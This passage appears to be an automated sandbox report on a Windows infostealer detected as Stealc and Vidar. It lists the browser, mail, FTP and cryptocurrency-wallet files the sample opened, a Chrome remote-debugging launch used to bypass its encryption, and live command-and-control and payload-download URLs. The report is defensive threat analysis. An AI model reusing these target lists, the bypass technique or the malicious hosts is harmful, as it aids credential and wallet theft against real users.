Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Documents\AEBKFIJEGC.exe

Directory queried: C:\Users\user\Documents

Jump to behavior

Source: Yara match	File source: 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3604, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2234834361.0000000005630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2790206545.0000000000ED1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2792859084.000000000197E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3604, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3604, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	12 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	751 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	34%	ReversingLabs	Win32.Trojan.Generic
file.exe	39%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1011214001\74cb638a83.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	37%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	24%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	24%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	37%	ReversingLabs	Win32.Trojan.Symmi

Source	Detection	Scanner	Label	Link
http://185.215.113.16/steam/random.exe1395d	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exexz	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique2/random.exe60	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exen	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpvx	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/ra	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exe:u	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllC	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exexe	0%	Avira URL Cloud	safe
https://atten-supporse.biz/apiZ	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exeAz	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exe4.exe	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exebz	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exe13c	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exewQ	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpge	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/sqlite3.dllz	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeju	0%	Avira URL Cloud	safe
http://185.215.113.206i	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exe1395d	17%	Virustotal		Browse
https://atten-supporse.biz/H2	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique2/random.exe60	16%	Virustotal		Browse
http://185.215.113.16/steam/random.exe1	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpbs	100%	Avira URL Cloud	malware
http://31.41.244.11/files/unique2/random.exeO	0%	Avira URL Cloud	safe
http://92.63.197.221/add?substr=mixtwo&s=three&sub=	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exetch	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php1369323ae2e65563c024a986d411Extension	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exe61395d7f	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exep32	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
atten-supporse.biz	172.67.165.166	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false		high
http://185.215.113.206/	false		high
http://185.215.113.16/mine/random.exe	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false		high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false		high
http://185.215.113.206/c4becf79229cb002.php	false		high
https://www.google.com/async/newtab_promos	false		high
http://92.63.197.221/add?substr=mixtwo&s=three&sub=	true	Avira URL Cloud: safe	unknown
https://www.google.com/async/ddljson?async=ntp:2	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	GHCGDAFC.0.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2792859084.0000000001A37000.00000004.00000020.00020000.00000000.sdmp, GHCGDAFC.0.dr	false		high
http://www.broofa.com	chromecache_90.5.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2792859084.000000000197E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exep	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exexz	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/steam/random.exe1395d	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	17%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2792859084.0000000001A37000.00000004.00000020.00020000.00000000.sdmp, GHCGDAFC.0.dr	false		high
http://185.215.113.16/steam/random.exen	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpvx	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exem	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpM	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique2/random.exe60	skotes.exe, 00000011.00000002.3567114432.0000000001490000.00000004.00000020.00020000.00000000.sdmp	false	16%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2823980550.0000000023D31000.00000004.00000020.00020000.00000000.sdmp, JKKEHJDHJKFIECAAKFIJ.0.dr	false		high
http://185.215.113.16/luma/random.exe	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/ra	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/steam/random.exe:u	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllC	file.exe, 00000000.00000002.2792859084.00000000019D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/P	file.exe, 00000000.00000002.2792859084.00000000019D9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exexe	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.2790206545.0000000000F54000.00000040.00000001.01000000.00000003.sdmp	false		high
https://atten-supporse.biz/apiZ	c3e4899de4.exe, 00000014.00000002.3565468788.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.2792859084.0000000001A37000.00000004.00000020.00020000.00000000.sdmp, GHCGDAFC.0.dr	false		high
http://185.215.113.206/?	file.exe, 00000000.00000002.2792859084.00000000019D9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://apis.google.com	chromecache_90.5.dr	false		high
http://185.215.113.206ta	file.exe, 00000000.00000002.2790206545.0000000000F54000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.16/steam/random.exeAz	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/steam/random.exe4.exe	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2828472959.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2821134591.000000001DD6C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exebz	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/steam/random.exe13c	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exewQ	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpge	file.exe, 00000000.00000002.2790206545.0000000000F54000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	GHCGDAFC.0.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000002.2823980550.0000000023D31000.00000004.00000020.00020000.00000000.sdmp, JKKEHJDHJKFIECAAKFIJ.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dllz	file.exe, 00000000.00000002.2792859084.00000000019D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exeju	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	JKKEHJDHJKFIECAAKFIJ.0.dr	false		high
http://185.215.113.16/steam/random.exe	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206i	file.exe, 00000000.00000002.2792859084.000000000197E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://atten-supporse.biz/H2	c3e4899de4.exe, 00000014.00000002.3565468788.0000000000AF0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2792859084.0000000001A37000.00000004.00000020.00020000.00000000.sdmp, GHCGDAFC.0.dr	false		high
http://185.215.113.16/steam/random.exe1	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://atten-supporse.biz/api	c3e4899de4.exe, 00000014.00000002.3565468788.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp, c3e4899de4.exe, 00000014.00000002.3565468788.0000000000AF0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	GHCGDAFC.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpbs	file.exe, 00000000.00000002.2823980550.0000000023DB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	EGCBAFCFIJJJECBGIIJKECAFID.0.dr	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000002.2823980550.0000000023D31000.00000004.00000020.00020000.00000000.sdmp, JKKEHJDHJKFIECAAKFIJ.0.dr	false		high
http://31.41.244.11/files/unique2/random.exeO	skotes.exe, 00000011.00000002.3567114432.0000000001490000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpu	skotes.exe, 00000011.00000002.3567114432.0000000001490000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	GHCGDAFC.0.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_90.5.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	EGCBAFCFIJJJECBGIIJKECAFID.0.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2823980550.0000000023D31000.00000004.00000020.00020000.00000000.sdmp, JKKEHJDHJKFIECAAKFIJ.0.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000002.2823980550.0000000023D31000.00000004.00000020.00020000.00000000.sdmp, JKKEHJDHJKFIECAAKFIJ.0.dr	false		high
https://atten-supporse.biz:443/api	c3e4899de4.exe, 00000014.00000002.3565468788.0000000000AF0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org	EGCBAFCFIJJJECBGIIJKECAFID.0.dr	false		high
http://185.215.113.16/steam/random.exetch	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206	file.exe, 00000000.00000002.2792859084.000000000197E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2790206545.0000000000F9C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2790206545.0000000000F54000.00000040.00000001.01000000.00000003.sdmp	false		high
https://atten-supporse.biz/	c3e4899de4.exe, 00000014.00000002.3565468788.0000000000AF0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php1369323ae2e65563c024a986d411Extension	file.exe, 00000000.00000002.2790206545.0000000000F9C000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
